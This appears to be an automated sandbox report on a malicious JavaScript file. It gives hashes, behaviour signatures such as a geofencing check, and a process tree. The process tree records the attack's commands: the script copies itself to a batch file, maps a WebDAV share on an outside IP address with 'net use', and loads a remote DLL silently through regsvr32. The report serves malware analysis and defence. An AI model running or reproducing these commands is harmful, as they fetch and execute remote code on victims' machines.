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Analysis

  • max time kernel
    125s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 06:12

General

  • Target

    3184579182140121556.js

  • Size

    5KB

  • MD5

    a3a26691f23f506be74e72a6dc740959

  • SHA1

    68d5263d0ffbec81e72c555a2f5a1ff911229676

  • SHA256

    accbf5224b6054b92773326c22c560eec52d5302536bf9809c62810f59694fba

  • SHA512

    0a5e694d359b435548fe328bfe472115c8bd5a423ba35f4eb905f30f50959c8a8770388902bd642401bdba38916a16cfed68ac40a573629b8f9f99e66b71370e

  • SSDEEP

    96:b4EpzOOolLhgcjGhsmF5lBJ2aIhD7lA+qnkz:EI4ltgcj0sS5lBJ2aIhD7lA3nkz

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3184579182140121556.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3184579182140121556.js" "C:\Users\Admin\\lbdupt.bat" && "C:\Users\Admin\\lbdupt.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4148
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4696
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\890.dll
          3⤵
            PID:1240
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4388,i,5028538196072658126,13960315633709835247,262144 --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:8
        1⤵
          PID:1472

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\lbdupt.bat

          Filesize

          5KB

          MD5

          a3a26691f23f506be74e72a6dc740959

          SHA1

          68d5263d0ffbec81e72c555a2f5a1ff911229676

          SHA256

          accbf5224b6054b92773326c22c560eec52d5302536bf9809c62810f59694fba

          SHA512

          0a5e694d359b435548fe328bfe472115c8bd5a423ba35f4eb905f30f50959c8a8770388902bd642401bdba38916a16cfed68ac40a573629b8f9f99e66b71370e